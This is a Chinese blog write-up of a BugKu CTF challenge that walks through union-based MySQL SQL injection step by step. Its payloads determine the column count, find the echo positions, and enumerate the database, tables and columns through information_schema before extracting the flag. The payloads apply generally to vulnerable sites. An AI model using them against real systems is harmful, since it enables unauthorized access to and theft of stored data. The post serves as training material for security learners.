网络与信息安全工程师从业之旅-SQL注入001

SQL注入-MySql 数字注入
参考bugkuctf:http://123.206.87.240:8002/chengjidan/index.php

验证注入点是否存在:
payload:
1 返回正常
1’ 不显示结果
1" 结果显示正常
1’ and ‘1’='1 返回正常

确定查询字段数(使用二分法确认):
payload:
1’ order by 5–空格 无返回
1’ order by 4–空格 返回正常
确认字段数为4

确认回显位:
payload:
1’ and ‘1’=‘2’ union select 1,2,3,4 --空格
确认回显位为1,2,3,4

确认数据库版本,数据库名
1’ and ‘1’=‘2’ union select version(),database(),3,4 --空格
在这里插入图片描述数据库版本为5.5.34,数据库名为skctf_flag

确认数据库表名(通过修改 limit 0(递增),1,每次只爆出一个表名)
1’ and ‘1’=‘2’ union select table_name,2,3,4 from information_schema.tables where table_schema=database() limit 0,1–空格
爆出全部表名
1’ and ‘1’=‘2’ union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema=database()–空格
在这里插入图片描述
确认数据库列名(同上,但是表名有时需要转换为16进制)
1’ and ‘1’=‘2’ union select group_concat(column_name),2,3,4 from information_schema.columns where table_schema=database() and table_naem=‘fl4g’–空格

1’ and ‘1’=‘2’ union select group_concat(column_name),2,3,4 from information_schema.columns where table_schema=database() and table_name=0x666c3467–空格
在这里插入图片描述确认列名下信息
1’ and ‘1’=‘2’ union select skctf_flag,2,3,4 from fl4g–空格
在这里插入图片描述group_concat(table_name)挺好用。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值